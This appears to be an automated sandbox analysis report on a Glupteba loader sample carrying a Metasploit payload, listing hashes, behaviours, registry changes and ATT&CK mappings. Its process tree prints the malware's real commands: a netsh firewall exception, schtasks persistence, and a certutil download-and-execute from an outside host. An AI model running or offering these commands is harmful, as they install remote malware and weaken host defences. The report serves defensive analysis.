glupteba | 324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90

General

Target

324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
Size

3.9MB
MD5

8448f9442c842ab6786ff1952b8f478a
SHA1

5b4ae7c215765c3fbf5e56f127eaecff8715e2ad
SHA256

324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90
SHA512

56d3c4dffa68daac1bae9241ab2f542747ac743766d61f91d87a57e7f2a66d3d94a46e82f94fcf7ea5f136e3049b641206709214a92f10579bc6a22be5ce0481
SSDEEP

49152:J5PcrbPqqUpkqxi32UPC4e0IOgzv3YF4zUw4JkfSinDDu+e/eCNVuyn9Vkdlo9CY:nqe1UC47Is4gfSupRPtUAbJTSM

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 10 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3160-133-0x0000000003620000-0x0000000003E22000-memory.dmp	family_glupteba
behavioral2/memory/3160-134-0x0000000000400000-0x0000000002F5C000-memory.dmp	family_glupteba
behavioral2/memory/3160-136-0x0000000000400000-0x0000000002F5C000-memory.dmp	family_glupteba
behavioral2/memory/3160-138-0x0000000000400000-0x0000000002F5C000-memory.dmp	family_glupteba
behavioral2/memory/208-140-0x0000000000400000-0x0000000002F5C000-memory.dmp	family_glupteba
behavioral2/memory/208-143-0x0000000000400000-0x0000000002F5C000-memory.dmp	family_glupteba
behavioral2/memory/208-147-0x0000000000400000-0x0000000002F5C000-memory.dmp	family_glupteba
behavioral2/memory/2272-149-0x0000000003C00000-0x0000000004402000-memory.dmp	family_glupteba
behavioral2/memory/2272-150-0x0000000000400000-0x0000000002F5C000-memory.dmp	family_glupteba
behavioral2/memory/2272-152-0x0000000000400000-0x0000000002F5C000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4252 created 3160	4252	svchost.exe	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
PID 4252 created 2272	4252	svchost.exe	csrss.exe
PID 4252 created 2272	4252	svchost.exe	csrss.exe
PID 4252 created 2272	4252	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

2272 csrss.exe
2220 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

392 netsh.exe

pid	process
2272	csrss.exe
2220	patch.exe

pid	process
392	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NamelessStar = "\"C:\\Windows\\rss\\csrss.exe\""	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

3440 bcdedit.exe

pid	process
3440	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe

description	ioc	process
File opened for modification	C:\Windows\rss	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
File created	C:\Windows\rss\csrss.exe	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

992 schtasks.exe
5036 schtasks.exe

pid	process
992	schtasks.exe
5036	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.execsrss.exe

pid	process
3160	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
3160	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
208	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
208	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
2272	csrss.exe
2272	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	3160	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
Token: SeImpersonatePrivilege	3160	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
Token: SeTcbPrivilege	4252	svchost.exe
Token: SeTcbPrivilege	4252	svchost.exe
Token: SeBackupPrivilege	4252	svchost.exe
Token: SeRestorePrivilege	4252	svchost.exe
Token: SeBackupPrivilege	4252	svchost.exe
Token: SeRestorePrivilege	4252	svchost.exe
Token: SeSystemEnvironmentPrivilege	2272	csrss.exe
Token: SeBackupPrivilege	4252	svchost.exe
Token: SeRestorePrivilege	4252	svchost.exe
Token: SeBackupPrivilege	4252	svchost.exe
Token: SeRestorePrivilege	4252	svchost.exe
Token: SeBackupPrivilege	4252	svchost.exe
Token: SeRestorePrivilege	4252	svchost.exe
Token: SeBackupPrivilege	4252	svchost.exe
Token: SeRestorePrivilege	4252	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.execmd.execsrss.exe

description	pid	process	target process
PID 4252 wrote to memory of 208	4252	svchost.exe	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
PID 4252 wrote to memory of 208	4252	svchost.exe	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
PID 4252 wrote to memory of 208	4252	svchost.exe	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
PID 208 wrote to memory of 4600	208	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe	cmd.exe
PID 208 wrote to memory of 4600	208	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe	cmd.exe
PID 4600 wrote to memory of 392	4600	cmd.exe	netsh.exe
PID 4600 wrote to memory of 392	4600	cmd.exe	netsh.exe
PID 208 wrote to memory of 2272	208	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe	csrss.exe
PID 208 wrote to memory of 2272	208	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe	csrss.exe
PID 208 wrote to memory of 2272	208	324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe	csrss.exe
PID 4252 wrote to memory of 5036	4252	svchost.exe	schtasks.exe
PID 4252 wrote to memory of 5036	4252	svchost.exe	schtasks.exe
PID 4252 wrote to memory of 992	4252	svchost.exe	schtasks.exe
PID 4252 wrote to memory of 992	4252	svchost.exe	schtasks.exe
PID 4252 wrote to memory of 2220	4252	svchost.exe	patch.exe
PID 4252 wrote to memory of 2220	4252	svchost.exe	patch.exe
PID 2272 wrote to memory of 3440	2272	csrss.exe	bcdedit.exe
PID 2272 wrote to memory of 3440	2272	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
"C:\Users\Admin\AppData\Local\Temp\324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3160

C:\Users\Admin\AppData\Local\Temp\324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe
"C:\Users\Admin\AppData\Local\Temp\324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:208

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4600

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:392

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe /15-15
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:5036

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:992

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:2220

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:3440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4252

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
8448f9442c842ab6786ff1952b8f478a

SHA1
5b4ae7c215765c3fbf5e56f127eaecff8715e2ad

SHA256
324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90

SHA512
56d3c4dffa68daac1bae9241ab2f542747ac743766d61f91d87a57e7f2a66d3d94a46e82f94fcf7ea5f136e3049b641206709214a92f10579bc6a22be5ce0481

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
8448f9442c842ab6786ff1952b8f478a

SHA1
5b4ae7c215765c3fbf5e56f127eaecff8715e2ad

SHA256
324d3cb7058af603d8ad4b0df3ce695dfaa18f0f1b3c753c68ad49000e21df90

SHA512
56d3c4dffa68daac1bae9241ab2f542747ac743766d61f91d87a57e7f2a66d3d94a46e82f94fcf7ea5f136e3049b641206709214a92f10579bc6a22be5ce0481

Download Submit
memory/208-143-0x0000000000400000-0x0000000002F5C000-memory.dmp

Filesize
43.4MB

Download
memory/208-147-0x0000000000400000-0x0000000002F5C000-memory.dmp

Filesize
43.4MB

Download
memory/208-137-0x0000000000000000-mapping.dmp

Download
memory/208-139-0x000000000332B000-0x00000000036D2000-memory.dmp

Filesize
3.7MB

Download
memory/208-140-0x0000000000400000-0x0000000002F5C000-memory.dmp

Filesize
43.4MB

Download
memory/392-142-0x0000000000000000-mapping.dmp

Download
memory/992-154-0x0000000000000000-mapping.dmp

Download
memory/2220-155-0x0000000000000000-mapping.dmp

Download
memory/2272-150-0x0000000000400000-0x0000000002F5C000-memory.dmp

Filesize
43.4MB

Download
memory/2272-149-0x0000000003C00000-0x0000000004402000-memory.dmp

Filesize
8.0MB

Download
memory/2272-152-0x0000000000400000-0x0000000002F5C000-memory.dmp

Filesize
43.4MB

Download
memory/2272-151-0x0000000003800000-0x0000000003BA7000-memory.dmp

Filesize
3.7MB

Download
memory/2272-144-0x0000000000000000-mapping.dmp

Download
memory/2272-148-0x0000000003800000-0x0000000003BA7000-memory.dmp

Filesize
3.7MB

Download
memory/3160-132-0x0000000003270000-0x0000000003617000-memory.dmp

Filesize
3.7MB

Download
memory/3160-136-0x0000000000400000-0x0000000002F5C000-memory.dmp

Filesize
43.4MB

Download
memory/3160-138-0x0000000000400000-0x0000000002F5C000-memory.dmp

Filesize
43.4MB

Download
memory/3160-135-0x0000000003270000-0x0000000003617000-memory.dmp

Filesize
3.7MB

Download
memory/3160-134-0x0000000000400000-0x0000000002F5C000-memory.dmp

Filesize
43.4MB

Download
memory/3160-133-0x0000000003620000-0x0000000003E22000-memory.dmp

Filesize
8.0MB

Download
memory/3440-157-0x0000000000000000-mapping.dmp

Download
memory/4600-141-0x0000000000000000-mapping.dmp

Download
memory/5036-153-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads